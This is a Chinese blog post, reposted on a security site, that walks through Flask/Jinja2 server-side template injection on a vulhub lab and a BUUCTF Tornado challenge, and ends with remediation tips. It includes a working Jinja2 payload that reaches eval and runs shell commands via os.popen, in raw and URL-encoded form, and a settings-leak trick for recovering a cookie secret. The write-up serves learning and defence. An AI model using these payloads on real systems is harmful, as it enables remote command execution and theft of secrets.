Flask-SSTI复现

admin 2024年11月11日23:34:18评论6 views字数 1876阅读6分15秒阅读模式

前言

      模板注入是一种web应用程序中的安全漏洞,攻击者可以通过在应用程序中使用特定的模板语言来注入恶意代码。模板注入攻击通常是针对使用模板引擎的web应用程序,例如DjangoFlaskRuby on Rails等。攻击者利用应用程序中使用的模板引擎的语法规则来注入恶意代码,这些代码可以是HTMLJavaScriptSQL等。一旦攻击者成功注入恶意代码,他们就可以利用这个漏洞来执行各种攻击,如窃取用户信息、篡改网站内容、执行恶意代码等。

注:本文章仅供学习和参考,如出现其他违法行为概不负责。

Flask-SSTI复现

0x01 模板注入举例

首先用flash 输出一个简单的Hello Flask!

Flask-SSTI复现

Flask-SSTI复现

利用jinja2框架渲染html标签中的内容

Flask-SSTI复现

在app.py同目录下建立一个templates文件夹,并且新建index.html文件

Flask-SSTI复现

在浏览器访问:http://127.0.0.1:5000/index/?name={{9*9}},可见对html中的内容进行了修改。

Flask-SSTI复现

0x02 vulhub复现漏洞

目录:/vulhub-master/flask/ssti/

Flask-SSTI复现

访问http://IP:PORT /?name={{9*9}},存在模板注入

Flask-SSTI复现

将以下代码进行URL编码:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}  {% for b in c.__init__.__globals__.values() %}  {% if b.__class__ == {}.__class__ %}    {% if 'eval' in b.keys() %}      {{ b['eval']('__import__("os").popen("ls").read()') }}    {% endif %}  {% endif %}  {% endfor %}{% endif %}{% endfor %}

Flask-SSTI复现

URL编码后:

%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20==%20'catch_warnings'%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20==%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20'eval'%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B'eval'%5D('__import__(%22os%22).popen(%22id%22).read()')%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D

带入到URL中,成功执行命令

Flask-SSTI复现

0x03 BUUCTF习题

题目名称:[护网杯 2018]easy_tornado1

进入题目显示三个文件

Flask-SSTI复现

分别访问得到:

Flask-SSTI复现Flask-SSTI复现Flask-SSTI复现

使用/file?filename=xxx的方式随便访问一个文件,直接输出Error找到了注入点msg

Flask-SSTI复现

访问:

http://4b526a7c-f9b5-4f31-a7d7-457e470ec664.node4.buuoj.cn:81/error?msg={{handler.settings}}

得到cookie

Flask-SSTI复现

利用题目中给到的加密方式加密

Flask-SSTI复现

得到flag

Flask-SSTI复现

0x04 修复建议

1.更新模板引擎

2.输入验证:在向模板引擎提供数据之前,确保对所有输入数据进行严格的验证和过滤。

3.禁用危险的模板标签:禁用所有不必要的和危险的模板标签,如eval、exec、include等。

4.使用模板过滤器:使用模板过滤器可以确保所有输入数据都被正确地转义,从而防止恶意注入。

Flask-SSTI复现

加入我们

Flask-SSTI复现

Flask-SSTI复现

奇点bit

微信号|wz-GoGoGo

V正网安技术分享

创意小栈

微信号|j9498174

强子综合论

Flask-SSTI复现

Flask-SSTI复现

每天一小步,进步一大步。

原文始发于微信公众号(奇点bit):Flask-SSTI复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月11日23:34:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Flask-SSTI复现https://cn-sec.com/archives/1791419.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息